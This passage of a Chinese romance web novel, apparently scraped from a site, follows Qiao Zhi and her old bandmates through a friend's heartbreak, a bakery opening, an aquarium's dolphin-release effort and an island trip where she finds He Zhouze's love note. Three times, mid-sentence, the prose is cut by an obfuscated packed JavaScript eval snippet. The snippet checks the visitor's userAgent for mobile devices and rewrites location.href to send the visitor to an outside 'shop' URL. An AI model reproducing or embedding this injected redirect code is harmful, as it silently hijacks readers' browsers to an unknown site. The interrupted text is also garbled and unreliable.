前两次夏安语醒来后都表示多有叨扰,但乔之却觉得没什么。因为她真心把她当作朋友,所以她这次主动承担了照料她的任务。 等房门关上刹那,刚刚还闭着眼没有动静的夏安语忽然轻笑了声。她从乔之手中挣脱开,摇摇晃晃地倒在沙发上。 乔之跟着走过去,才发现她不是在笑,而是在低声哭泣。 “那首歌原来不叫这个名字。” 乔之没懂她的意思,手上还是递去几了张纸巾:“……什么?” 夏安语抬头,乔之看见她的眼睛里噙满了泪水,但很清澈。她见过她喝醉的样子,但眼下她显然是清醒的——刚刚不过是在装醉。 夏安语哂笑道:“我们今晚唱的那首歌本来叫《告别昨天》,但他们说昨天从来没离开,所以明天依旧可以是昨天。” 她的眼睛又大又圆,一眨一眨的时候很美,这会儿眼泪又从中簌簌地落下。 她呢喃着:“可是我的昨天、今天和明天都已经结束了……我的明天根本不是昨天。” 她像是在说绕口令,夹杂着数不清的暗语,但乔之离奇地听懂了。 她安慰道:“只是短暂结束,我们还会有很多新的明天可以去爱、去挥霍。” 话说出口的瞬间,她陡然想起乔希的小说末尾引用了《飘》的台词:“明天又是新的一天了。” 听听她现在说的话,竟然与之不谋而合。 霎那间,她忽然就明白了乔希为何在扉页写下——献给我的女儿乔乔。 原来这就是她对她的祝福和期盼。 夏安语抽泣着,却努力挤出了一个笑:“乔之,这话可真不像你说的。” 乔之是他们中最恪守本分的好学生,处变不惊,任何情绪和心思都似乎在面上不显,总是把对别人的关心和爱意裹上层层包装。 现在,这样一个人在教她去爱、去挥霍明天。 乔之一顿,又听夏安语自嘲道:“不过你至少真的试过去爱,比我够格。” 这句话已经将她的心事透露得不能更明白。 乔之犹豫后,小心地问:“小夏,你还喜欢颜叙,是吗?” “是啊——”夏安语破罐破摔地承认,“可是有什么用呢?我们注定走不到一起。” 乔之愕然:“……为什么?” 夏安语擦干了眼泪,盯着乔之,笑了一声道:“乔之,有时我真的羡慕你,至少有人能给你不容置疑的爱。” 乔之看着她泛红的眼圈,这一刻她承认她说得没错。无论是外婆、乔希还是何舟泽,他们至少……都全心全意地爱过她,尽管她总是要很晚才能意识到。 “……为什么?”夏安语转过头去,喃喃着重复了一遍乔之的问题,又转回来反问了一句,“那你和老何为什么分开呢?” 乔之怔住了。 夏安语并不是真的想探究她和何舟泽的往事,只是在释放信号:再问下去就要触碰到她不想为人所知的秘密了。 夏安语的内里柔软,但习惯穿上冰冷坚固的盔甲坚守最后一层防线——就如此刻。 于是乔之适当地退后,不再追问:“抱歉。” 55.第五十五章 这桩心事的另一个主角这会儿也正和别人促膝长谈。 颜叙的工作室计划设置在江临,所以他接下去会在这里长住。不过他一时还没找到合适的住所,又总是与何舟泽凑在一块儿写歌,于是干脆就从酒店搬出,临时住了他家。 他这会儿正斜靠在客厅那张宽大的灰色沙发上,目光放空,不知道在想些什么。 何舟泽走过来给他倒了杯柠檬水:“怎么在发呆?” 颜叙直起身子,顺势喝了一大口,架势仿佛在借酒消愁。 他按了按眉心道:“……也没什么。” 何舟泽犹豫了片刻,还是问出了口:“是因为和小夏吵架吗?” 颜叙抬起头看他,眼睛里写满意味不明。 何舟泽见他的神情便知道他不想多提,正准备说几句无关痛痒的话权当安慰,却意外地听见颜叙承认道:“……是。” “她又要回到那个人身边了。” “……?”何舟泽疑惑不解。 两周前,夏安语的未婚夫被捉奸在床。夏安语这次重新回来参加乐队演出,确实是为了怀念青春,但也有很大部分原因与此有关。 某天他们吃饭时,她偶然提起这件事,说话时的神情没有丝毫波澜,仿佛只是在分享一个别处听来的八卦,看上去对前男友已全无感情。 “她今晚接到那个人的电话了,明天就要飞回京市。”颜叙冷笑了一声,“你说,为什么她还要忍下去呢?她明明就不喜欢……” 何舟泽出声打断:“她喜欢的人从来没给过她正面回应。颜叙,你还要错过吗?” 此话一出,颜叙登时愣住了,半晌才道:“是。以前的你的确有资格教训我。” 从前何舟泽那样明目张胆的爱,他永远也学不会。 “但你现在呢?不也还是不敢向前,连首情歌都唱不了吗?”颜叙话锋一转,出言讥讽道。 何舟泽听到这话却没生气,他太懂颜叙了。他一旦被人戳中了痛处,便会不由自主地用带刺的言语伪装自己。 他想了想,将自己的计划说出口:“今年的跨年晚会,我打算唱情歌。” 颜叙震惊地投去目光。 他刚刚话一说出口就后悔了,虽然他知道何舟泽不会放在心上,但乔之是他的软肋。 可没想到这么一问,他竟然得知了这么惊人的消息—— 何舟泽已经有整整六年没有公开唱过情歌了。 他们几个过去常在私底下调侃,乔之一离开,连带着将何舟泽写情歌的能力也一并带走了——虽然从某种意义上来说确实如此。 不过颜叙还是不敢相信地问:“你是认真的吗?” 何舟泽不紧不慢地给自己也倒了杯柠檬水,没正面回答:“你说得对,我不应该止步不前……至少要让她先听听我的答案。” 颜叙默然。 他自诩样样都不输于人,但在这一点上,他永远羡慕何舟泽的勇往直前。 - 姚朔忙完乐队演出的事后,开始全身心投入到新店开张当中。 他的面包坊选址位于江临大学北街,离学生宿舍区一墙之隔,是极好的地段。他的腿脚虽然还不爽利,但应付日常工作已没什么问题。 乔之这天吃完饭正好散步到宿舍区,忽然想到姚朔一早就在群里发了无数张店面的最新照片,于是便决定顺路走过去看看。 路上她给姚朔发了条消息,确认他是否还在店中:【老姚,我在北街附近,想去你店里看看。你现在还在吗?】 姚朔回得飞快:【在在在!正想找个人帮我看看店里的布置。】 没一会儿,乔之就到了姚朔的店门口,一抬头,看见浅棕色的招牌上用花体字写着“WonderfulBakery”。 这名字起得还真是直白,她忍不住笑了声。 姚朔隔着玻璃看见乔之站在外头笑,推开门道:“怎么光顾着在外面笑,还不进来?” 乔之指了指头顶的招牌,笑说:“这个店名还真有你的风格。” “什么风格?”姚朔像是忘记自己取了什么名字似的也走出来看了一眼,打趣道,“自吹自擂的风格吗?” “不是。是一看就很有说服力、很靠谱。”乔之捡了个好听的话。 姚朔果然很受用地挑了挑眉:“那姚师傅肯定得靠谱。” 两人一边说笑,一边走进了店里。 乔之见落地窗边的小桌子上堆了一些花束,心想姚朔果然还是十年如一日地爱花。直到她拿起后,才发现这都是些些假花,于是又好奇地问了一嘴。 姚朔解释道:“真花容易招虫子,不适合放店里。” 乔之了然地点点头,又听他说:“不过我开业那天,你们都得给我送鲜花庆祝。” 乔之调侃:“你不是怕招虫吗?” “我可以放门口,关门后带回家养着。”姚朔笑嘻嘻地说着,顺手选了几朵花插在柜台的花瓶里。 “那行啊,等你选好日子告诉我。” 乔之环顾四周,发现这家店其实差不多算是装修好了,基本的柜台、货架以及后厨的设备都已经配备完毕。只不过姚朔觉得店里空荡荡,还缺了点装饰。 姚朔专心插着花,头也没抬道:“已经选好啦。就定在元旦后一天,是个黄道吉日。” 等手中的花瓶转眼变成花团锦簇的模样,他才起身拍了拍门口进来的墙壁,问道:“我觉得这块有点空,但是一时半会儿想不到可以放些什么装饰。你帮我想想看呗。” 乔之依言看向那面米色的墙壁,上面留着一大块空白。她想了想姚朔的爱好,试着提议道:“要不画点音符什么的?或者打几个平行架子,放点小装饰品?” 姚朔听后猛地一敲自己的手掌,眉开眼笑道:“好主意!我可以把我的那把贝斯挂上去,再贴点乐队的照片——何舟泽这流量不蹭白不蹭。” 乔之虽然不知道他这个突如其来的想法和自己提议有什么共同点,但也觉得不错,于是点头附和。 解决完这一大难题,两人坐下来聊天。 乔之问起姚朔转行做面包的缘由:“你是怎么下定决心要做这个的?” 姚朔的朋友圈没有设置时限,乔之曾看过一次。 姚朔前几年的生活极其符合一个江大法学院高材生的人设——毕业后就进了一家知名律所,做资本市场方向的业务。他似乎业绩不错,有两年还拿了所里的优秀奖。 职业不分贵贱,但他忽然间就辞了工作,转行做起了和法律界毫不相干的面点师。这跨度实在大得惊人,听上去有些离经叛道。 姚朔的表情停滞了一秒,随即语气轻松道:“这行业不是人呆的,天天加班出差,我实在是熬不动。” 乔之对律师行业不了解,但对此偶有听闻。 “我以前的确有个律师梦,但是进了这行以后,反而有点找不到努力的意义了。”姚朔苦笑了一下,“所以干脆来开面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728674|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店了——起码顾客吃到喜欢的甜品时,高兴的心情是真实的,我也能获得满足感。” 乔之想起夏安语曾经评价姚朔离开律师行业后“才像是重新活了过来”,现在听他分享自己的真实感受,竟果真是如此。 “哦对了。”姚朔起身,不知从何处端出来一个蛋糕,递给乔之,“我今天早上在家里做好带来的。来尝尝我的手艺——我记得你好像都没试过。” 竟然还刚好是巧克力味的。 乔之中午吃得少,这会儿抵挡不住这个小巧精致的巧克力蛋糕的诱惑,当即就挖了一大块,很给姚朔面子。 巧克力的味道醇厚又不甜腻,蛋糕中的薄脆夹层额外增加了口感的丰度——这是一块优秀的巧克力蛋糕。 “很好吃,完全不输姚叔。”乔之给出了高度评价。本科的时候她有幸吃过很多次姚父做的巧克力蛋糕,姚朔的手艺看来的确是青出于蓝而胜于蓝。 随即,她又想起了什么,问道:“不过我一直很好奇,为什么你从来没问过我,就知道我喜欢巧克力味的甜品?” 姚朔挠挠头,回忆道:“还不是何舟泽那小子……他那会儿天天把你挂嘴上,我第一次给他们带糕点的时候,他就抢着要把巧克力味的留给你。我们仨谁都不敢碰。” 乔之沉默了一瞬。 怪不得那时候乐队每个人都知道她的喜好,原来是有人将她时时放在了心上,让所有人都看到了。 “……委屈你们了。” 姚朔拉了把椅子坐下,毫不在意道:“没事,我们几个都没什么偏好,吃什么都无所谓。那时候写申请材料不还得靠你嘛!” “不过说真的,我从来没见老何对第二人这么上心过。”姚朔感慨了一句,“虽然我知道你也有你的顾虑,但是我觉得你俩之间肯定还有什么没说开。” “……什么?” 姚朔正襟危坐,神情难得严肃起来:“你们刚分手那会儿,他有些事情没想清楚,却又不敢和你说。等到了毕业,他才鼓起勇气,然后就在你家楼下等了一个星期——每天都去,拦都拦不住。后来还是我替他打听到你早就出国的消息,他才罢休。我想他那时候一定有很多话想跟你说,但是你们最终还是错过了。” 乔之不久之前已经知道了这件事,但却不知晓全貌。她以为何舟泽只是曾经来过,却没想到他竟等了整整一周。 她清楚地记得那一年夏天,江临迎来了前所未有的漫长雨季——所以何舟泽是在雨中,日日想见她却没有如愿。 姚朔仿佛打开了话匣子,一股脑地将何舟泽做过的所有傻事都倒了个干净。 “哦对,你知不知道你们分手后他从来没发过情歌?……说来还挺搞笑的,他说他这辈子只给你写情歌,所以你不在的这些年,我们都觉得他是准备遁入空门了。” 这件事乔之从粉丝口中也有所耳闻,但一直不敢细想其中缘由,生怕自己要多担待一份无法承受的爱。如今姚朔如此直白地将全部事情告知于她,她只觉得心里被什么东西堵着,有些发闷。 她看见姚朔叹了一口,认真地说:“老何这个人,对自己认定的人和事都执着得不行。所以无论是玩音乐还是……喜欢你,他从来都没有放弃过。” 乔之如何不知道,何舟泽对她念念不忘了六年,所以重逢后无论她有多么的冷酷无情,他都决绝地不退缩;但是她又如何能知道,过去六年间,他是怎么一个人度过那些寂寞时光,走过漫天的流言蜚语。 56.第五十六章 乔之下午还要去一趟海洋馆,吃过蛋糕后就没在姚朔的店里久留。 海豚伤人事件已经快过去一个月,外界的舆论在海洋馆发布取消动物表演的声明后逐渐平息了下去,不过还是有不少人盯着看他们等下一步行动。 海洋馆的官方账号下几乎每天都有人刷评论,内容大多是“接下来会考虑放生吗”“能不能学学东州海洋天地”之类的言论。 虽然江临市有关部门和海洋馆都同意海豚放流,但由于放生前的适应性训练区域一直没有敲定,所以还不能贸然发声明,只能硬扛着群众的质问。 除了江临大学提供的凤鸣岛以外,海洋馆还找了好几个备选,乔之这段时间也随行去考察了几处。但遗憾的是,那些地方都各有各的问题,没有办法用作训练的场地——希望几乎只剩下凤鸣岛一处了。 所有人的心理压力都很大。 乔之一到海洋馆,小徐就迫不及待地跟她说:“乔老师,今天何舟泽老师也在海洋馆。” 何舟泽这些年一直很火,小徐也经常听他的歌。他这半年内居然连着见了三次,忍不住有些激动。 乔之眉头微微一动,奇怪道:“他怎么会在?” MV和宣传片的拍摄工作早就完成了,他没理由来这儿。总不能是心血来潮地来逛逛——即便如此想必也会乔装打扮,不可能让小徐这种埋头干活的工作人员知道。 小徐道:“馆里取消了海豚表演,之后的营销方向就变了,所以何舟泽上次拍的宣传片有很多内容不能用了。听说他是主动要求补拍,副馆长高兴得不了,跟天上掉馅饼似的。” 可不就是天上掉馅饼吗? 何舟泽只答应给他们录一次宣传视频,内容过没过时完全不关他的事,谁能想到居然还会有售后服务。 “而且啊,他好像很支持取消动物表演,所以这次的宣传片里会增加这部分的内容……”小徐说话时摇头晃脑的,看起来很兴奋。最后他总结似的评价了一句,“何舟泽可真是个好人啊——我决定以后多多支持他的音乐事业。” 乔之听见这话后也忍不住惊讶。她完全有理由相信,何舟泽这么做的一部分原因是为了帮她。 她的手紧了紧背包的带子,问:“……那他现在在哪儿?” 小徐听她这么问,才想起来何舟泽同意拍宣传片的初衷就是为了帮乔之争取来海洋馆观察海豚的机会,当即恍然大悟:“哦对,我都差点忘了,你们俩是好朋友。他现在就在海豚馆里,我们赶紧过去吧。” “不知道今天能不能要到一张合照……”小徐嘟囔着,脚步不由得加快了。 乔之没再说话。 她似乎该庆幸旁人都没看出她和何舟泽之间的纠葛,“好朋友”或者“陌生人”都符合她在重逢之初的想法。可是现在,三个字却莫名地让她有些失落。 乔之不知道是否因为解开了对乔希的误会,所以她不再像过去那样不由自主地害怕;也或许是因为何舟泽的每一步靠近,都让她忍不住劝自己稍稍勇敢一点。 何舟泽果然在海豚馆里,他正穿着工作服在水池边和海豚互动,身后跟着一位摄影师。 全程都很温柔,唯恐惊扰了池中这些忧郁的精灵。 自从取消演出后,海洋馆里的这些海豚虽算不上完全恢复健康,但状态比之前要好上不少。 上次程青筠提出的猜测也被纳入了考量,抑郁严重的海豚都被各自隔离开,保育员会进行更细心和深入的照料。 乔之来的次数多,馆中的海豚也逐渐和她熟悉了起来,所以她陆陆续续采集到了更全面的数据,初步验证了群体抑郁的猜想,下一步她计划从生理层面深入剖析。 何舟泽的拍摄任务已步入尾声,换了两个角度后就顺利收工。 他一起身,就瞧见乔之站在不远处静静地看他。 何舟泽知道乔之这段时间常来海洋馆,但具体时间不确定。今天他来海洋馆前有所期待,但到时却不见她的身影,以为没机会偶遇了,心里不免有些失落。 谁曾想,快收工的时候竟真的撞上了好运。 何舟泽眉头和唇角都飞扬着,兴高采烈地打了个招呼:“乔老师好。” 称呼倒是很收敛。 乔之面上很平静,关心了一句:“你是收工了吗?” “还要去别的地方再补拍几个镜头。”何舟泽接过助理递来的毛巾,擦了擦湿漉漉的手臂,说道,“我先去换一下衣服。” 两人的对话平常随意,旁若无人。 边上的小徐目睹了全程,等何舟泽走远了,他才惊叹道:“乔老师,你和何舟泽还真是熟啊……” 完全不像是在拍摄现场的偶然碰面,听上去好像读书时候坐前后桌的男女同学,一个人问“你作业好了吗”,一个人答“写好了,你帮我交一下”。 这么想着,他没意识到嘴上也把心里想的场景说出了口。 他这个比喻用得巧妙,乔之笑了声:“我们是大学同学,以前上课的时候确实会互相帮忙交作业。” 内心想法被当事人听到了,小徐有些不好意思地挠挠头道:“我在心里瞎想的,您别放心上。我、我去把这几天的材料找出来给你看看。” 两人抬脚往办公室走去。 小徐埋头找资料,许久不见的副馆长突然出现在门口。 他看见乔之也在办公室里,喜笑颜开道:“乔老师也在啊,您最近真是辛苦了。” 态度和一个月前判若两人。 他原先以为乔之是象牙塔里待久了,满脑子都是不切实际的想法,不成想居然真的给馆里找好了对策,还把何舟泽叫了回来。所以,他现在对乔之只剩和颜悦色。 乔之客套地回了一句,又听对方殷勤道:“乔老师你推荐的那个地方是下周去考察,对吧?您这段时间忙前忙后,真是我们馆里的恩人了。” “……您客气了。”乔之一贯不懂怎么应对这样的场景,况且凤鸣岛合不合适还是个未知数,她担不起这顶帽子。 好在小徐理好了材料,站出来帮她应付副馆长。 等人快走了,乔之忽然想起一件事,询问道:“我有个学生,这段时间也在这件事上花了很多心思。下周的考察我想带她一起,不知道馆里同不同意?” 凤鸣岛本来就隶属江大海洋学院,带多一个江大学生不成问题。 副馆长到底有点小权力,想也没想就卖了她一个面子:“当然没问题。” 乔之之所以提起这件事,是因为昨天程青筠特意跑过来询问了她。小姑娘的眼睛闪闪,充满了期待。 程青筠今年大三,照理说应该已经去过凤鸣岛两次。尤其是刚过去的那个暑假,她至少在岛上呆了一个星期。 凤鸣岛的风景虽好,但物资缺乏,信号也不太稳定,对学生来说没那么大的吸引力,所以乔之也想不明白程青筠为什么会主动提起。不过她既然答应了要带她做科研,这样的机会自然会替她争取。 和小徐聊了几句这些天的观察结果,乔之准备再去水池近距离观察一会儿,这时有人发来了一条微信。 何舟泽仿佛猜到了她的心思,主动解释了缘由:【保护野生动物是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732407|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事,我也想出份力,你不要有压力。】 乔之不知该怎么回复,又见他发来了第二条信息。 【H:你还在馆里吗?】 【Jo:嗯,准备再观察一个小时左右。】 【H:我估计也还要一个小时。结束后你还有事吗?】 【Jo:没什么要紧事。】 【H:那你结束后去水母馆等我好不好?】 何舟泽的消息回复得飞快,像是在拍摄间隙里争分夺秒地找她说话。 乔之不知道他为何要约她去水母馆,但还是回了个“好”。 对方似乎又去接着工作了,没再回消息。 乔之来海洋馆这么多次,还没去水母馆看过。等她到了地方,才知道何舟泽为什么可以这么明目张胆地约她来这儿。 虽然海豚馆暂时关闭了,但是其他场馆照常开放。所以尽管是工作日下午,馆里还是有少许游客在——但水母馆竟然是完全无光的环境,只有展示着水母的玻璃缸里散发着各色幽深的光。 场地正中间矗立着数根圆柱形的巨大玻璃管,大大小小的水母在其中上下浮动。圆形的伞帽一张一翕,飘逸的触须随身体飞舞。 乔之一走进馆中,就迷失在了这迷幻的水母世界里。 “跟我来。”何舟泽不知从哪里冒出来,抓住乔之的手径直地往里走。 他戴着顶帽子,帽檐盖得很低,黑暗中难以被人察觉身份,所以行事也大胆了起来。 灯光时刻变换着,乔之从手心处感受到了来自他的温度。 她的心跳不自觉加快。 何舟泽带着乔之穿过五光十色的水母柱,低声介绍着路过的各类水母。明明她才是海洋生物学出身,这会儿却换成他滔滔不绝。 最终两人在一只紫色的大型水母前停下。 “乔乔,你看这只水母。这个是……” 何舟泽话音未落,乔之笑着打断他:“紫纹海刺水母。” 这种水母通身淡紫色,体型偏大,不算特别常见的品种,但乔之刚好认得。 何舟泽见她毫不迟疑地就说出了名字,愣了下又笑出来:“我怎么忘了你才是专业的,实在是班门弄斧了。” 她继续调侃:“你现在怎么成水母专家了?” 以前从未见他对海洋生物报以如此大的兴趣。 何舟泽盯着眼前漂动的水母,好久才说:“刚毕业那年,我经常来海洋馆。这里没有灯,也最安静,所以我每次都在这儿待一下午,久而久之就把展板上的介绍词全背下来了。” 他将手放在了玻璃柱上。那只紫纹海刺水母仿佛感应到了一般,调转了一个方向就往他手心游,远远看去就像是他在抚摸它的头。 “我最喜欢这只水母。它的体型比其他水母大,所以总是独自在这儿。”他没说他常来海洋馆是因为想念她,“我觉得自己和它很像,这么多年总是独自一人。” 乔之转过头看他,见他帽檐下藏着的双眸倒映了馆中的灯光,一闪一闪。 他们靠得那么近,双手也一直紧握,所以他没直说的话,她全都懂——因为她也一样。 不过她还是笑着说:“何舟泽,水母活不了这么多年。这已经不是当年那一只了。” “我知道。”何舟泽也转过来,两人的目光直直地对上了,彼此都像是在努力探究对方的心事,“但是这个柱子从来没换过其他品种,所以我还是最喜欢它。” 在这里独自生活的水母从没变过,就像他心底的那个人也从未改变。无论多少年,他都义无反顾地爱着她。 57.第五十七章 周二一早,乔之和程青筠请好假,与同行的专家一同登上了去凤鸣岛的大巴。 他们要先坐车去邻市,到港口后再换轮渡。如此一折腾,等到岛上时已是下午三点。 刘叔见一下子来了这么多人陪自己,高兴地帮忙运了好几次物资设备。 他对乔之还有印象,路上一直喋喋不休:“乔老师,你们这回要在岛上住多久?” 乔之想了想工作组的行程安排,回答道:“预计是三天,顺利的话周四下午走。” 他们这回的工作量很大,除了常规的环境监测外,还要评估试验中心的设备情况。如果这边真的被划为了训练区域,基地必定要承担起数据分析和常规实验的功能。 这也是为什么学院要和海洋馆反复扯皮。 程青筠竟然也和刘叔相熟,趴在座椅上说道:“刘叔,你是不是一个人很无聊,想我们多陪陪你啊?” 每年同时来岛上进行科研训练的本科生足有五六十人,但刘叔对程青筠的印象颇为深刻。因为只有这个小姑娘每天进出基地的时候会和他热情地打招呼。 刘叔笑呵呵道:“这都被你知道了呀。” “那你可要祝愿我们这次一切顺利,这样以后就会有人经常来陪你啦!”程青筠一边说着,竟还点起了菜,“这两天能不能拜托王姨做红烧鸡腿呀?我快馋死了。” 红烧鸡腿是中心食堂的常见菜,在这儿住一周就能吃到不止一次。程青筠这么说纯粹是为了哄人开心,她知道刘叔过会儿肯定会回去跟王阿姨说“程青筠那乖娃娃想你的鸡腿吃了!” 果然,刘叔的笑更爽朗了:“她知道你来肯定很高兴,这岛上都没几个人能天天陪她扯东扯西。” 程青筠一路陪刘叔聊着,不费吹灰之力就逗得他心情大好。 车后排有个老师悄悄对乔之说:“乔老师,你这个学生嘴可真甜。” 乔之礼貌地回了一句“是啊”,心里不能更赞同。 程青筠总是三两句话就能将气氛调动得十分活跃,干什么都不怯场。 乔之这辈子只认识两个将这种应场能力发挥得炉火纯青的人,另一个就是何舟泽。这两人偏还是一家的。 没多会儿就看见了基地门口摇曳的红旗,几人将物资搬下车,刘叔又忙着去码头接下一趟。 好在试验中心有好几辆电动三轮车,已经到了的人分组将需要的仪器往岛东侧观察站运。大伙打算趁天还没黑,先去完成一部分检测。 相比起海洋馆和省动保中心的人,乔之对岛上的情况更熟悉,所以她负责带路。 两个月过去,岛上的景致已萧瑟了许多。那时浓绿的树林蒙上了一层灰雾,留下冬天来临的印记。就连路过的风,都自觉地降低了体温,迎合另一个季节的到来。 很快就到了观察站。 在场大部分人都已经考察过好几个地点了,其中更有从东州请来的专家。一行人各司其职,麻利地投入到了工作中。 晚上王姨果然做了红烧鸡腿,程青筠哄得她喜上眉梢。 饭吃到一半,刚刚直接冲去实验室检测海水的同事传来喜讯:初步来看,凤鸣岛的海水很适合海豚的放生训练。 所有人的情绪都高涨了起来,因为大家都对这个地点投下了最后的希望。 有这个好消息打底,第二天的考察效率更高于以往。天黑时几乎就完成了全部工作,而所有指标都证明这里可以被划为适应训练区。 这个喜报在第一时间就传回了江临。 “乔老师,那我们明天是不是就多了半天的自由时间呀?”程青筠饭后悄悄问了乔之一句。 他们这次考察比原计划提前了半天,但来接人的轮渡时间不变,所以乔之点点头:“应该是的,明早你可以好好休息。” 今天她们起了个大早,一整天都在海边风吹日晒,几乎没怎么休息。 程青筠眨了眨眼睛,心里有别的主意:“明早我想在岛上逛逛。来了两次,还不如我哥住三天——他那期节目看得我好眼红,好多地方我都没去过。” 她说的是《旷野之声》第二期节目。 “……你怎么知道那是在凤鸣岛?”乔之震惊地问。 那期节目的模糊处理非常严格,若不是本就知情,她肯定也认不出来。 程青筠笑嘻嘻地说:“因为我也在那个秘密基地里写过纸条呀!‘希望新学期均绩4.8’就是我写的,竟然刚好被我哥念出来了。” 说完她又喃喃道:“虽然这个愿望许得有点太大胆了……” 江临大学的绩点是五分制,均绩4.8就意味着学期内每一门课都要拿到很高的分数。在基础课正态分布的要求下,达到这个成绩是非常难的。就像普通人说“今年要赚到一个小目标”,这更多时候像是对学业的美好祝愿。 不过乔之在大三某个学期确实拿到过4.8+的均绩,因为那学期她几乎所有的专业课都是满绩。 她鼓励道:“专业课不会正态,努努力还是有可能的。我相信你。” 她说得很认真,倒是让程青筠有些不好意思了起来,然后立马就想起她是荣誉毕业生这件事。 程青筠默默地在心里流泪,乔之大概不太懂凡人的世界…… 于是她决定邀请乔之来凡间走走:“老师,你明天上午想和我一起逛逛吗?” 乔之其实已经跟着何舟泽逛过一次了,但她忽然也想重温那些风景,所以便答应了下来:“好啊。那明天吃完早饭见?” - 上天仿佛是知道了她们俩准备在岛上闲逛,第二天一早就升起了大太阳。温暖的阳光驱散了海岛的湿冷雾气,将她们要走的路照得清澈明亮。 程青筠将何舟泽的节目片段载到了手机里,甚至专门找到了和他一样的出发位置。 破败的民居、废弃的小卖部、空荡荡的鸟巢、石板路上的青苔……一桩一件,两个月前的记忆重新复苏。 乔之仿佛又听见了那场暴雨,连带着心跳也忍不住开始加速。 “我哥这个路线还真是凤鸣岛最佳游览方式……”程青筠一帧一帧地切换视频画面,忽然懊恼地停下了脚步,“咦,这里怎么是不连续的?” 她们俩站在了一个狭窄的分岔路口。 乔之环视了四周,指了指左边的方向:“走这边。过会儿就会看见一个财神庙。” 程青筠依言往左转,走了几步才意识到不对:“等等,乔老师你是怎么知道要往这边走的……?” “……”乔之诡异地沉默了一瞬,最终还是坦白了,“他们来岛上录节目的时候我刚好也在,上次我和你哥一起逛过。” “?!”程青筠顿时瞪大了眼睛。 这是可以磕的糖对吧?她还以为两人直到上次在海洋馆才重逢,却没想到早就有交集了。 她按捺不住语气里的兴奋,小心翼翼地转过手机屏幕求证:“所以……老师你就在这个视频的镜头之外吗?” 乔之见她快憋不住八卦之心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736888|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情,心里暗暗叹了口气,否认道:“不是。我们是在录制之后来的。” 没想到这话一说出口,程青筠上扬的嘴角更压不住了——这不就是说,她哥还专门带乔老师来过一趟吗! 两人说这话,那座小小的财神庙便出现在了视野里。 乔之想着转移话题,于是说道:“你可以去拜拜财神爷,让他保佑你这学期的成绩上4.8……嗯,还挺准的。” “财神爷还管我学习吗?”程青筠有些迟疑道。 乔之想到上次何舟泽的说辞,原样告诉了她:“财神爷或许可以帮你转达给文曲星。天上的神仙应该都互相认识……吧。” 等她自己说出口,才知道这话有多像是胡扯。 果然,程青筠的脸上依旧挂着怀疑的神色:“真的吗……?” 然后她又说了一句:“不得不说,这真的好像我哥能瞎编出来的话。” “……” 你确实很了解你哥。乔之在心里默默地想。 不过本着“来都来了”的原则,程青筠还是高高兴兴地在财神爷面前说了一大堆好话,祈求他转告文曲星保佑自己的绩点。要是4.8太难,4.5也可以…… 等她许完愿出来,见乔之在原地没有动作,好奇地问了句:“乔老师,你不许愿吗?” “我今年许过一次了。”乔之摇摇头,开了个玩笑,“人不能太贪心。财神爷平时应该也挺忙的。” 程青筠倒是没多问,又往外多走了几步,忽然发现眼前的路逐渐变得熟悉。 她指了个方向,转过头对乔之道:“老师,你想去看看秘密基地吗?就在这前面,我们可以把我哥的秘密挖出来。” 她笑得不怀好意,已经做好到时候取笑何舟泽的准备了。 上一次乔之和何舟泽就只止步于此,她不知道那时候他为何没带她继续走下去,所以此时也不免有些好奇所谓的“秘密基地”。 于是她跟上了程青筠的脚步,怀揣着一点隐秘的期待。 这个秘密交换处果真和节目里一模一样——灰青色的水泥墙上刻着一个模糊不清的箭头,下方的土壤有明显被扰动过的痕迹。 程青筠蹲下身当即就挖了起来,那个承载着无数心愿和秘密的铁盒很快就暴露在两人的眼前。 程青筠迫不及待地打开盖子,最上方的一张纸条颜色纯白,折旧程度与其他的纸条格格不入。 这显然就是何舟泽刚放进去不久的那一张。 她毫不犹豫地拿起来,但在打开前一秒又迟疑了。她有一种莫名的预感,这个纸条的内容会和乔之有关。 “乔老师,你想看吗?” 乔之看着她手中的纸条,一颗心砰砰直跳。 她神差鬼使地接了过来。翻开的过程只不过用了一秒,她却觉得好像无意撞见了一整个星球的缘起湮灭,漫长得要用百万年来计量。 一行小字映入眼帘:“何舟泽永远爱QZ”。 ——何舟泽永远爱乔之。 有什么东西终于飞过广阔的大洋,用了漫长的两个月才降落到她的手心。 那时他写下的秘密果真和她有关。 他丝毫不怕被人知晓心事,却又细心地为她匿名。 乔之将纸条捂在心口,生怕被旁人看见。她的呼吸都变得急促了起来。 程青筠看见她的反应,带了两分揶揄地八卦道:“是你想看见的秘密吗?” 乔之没有回答,但是她的心跳回答了。 58.第五十八章 一行人回到江临后不久,参与其中的各个单位紧急召开工作会议,对凤鸣岛的评估结果进行了最后的讨论。 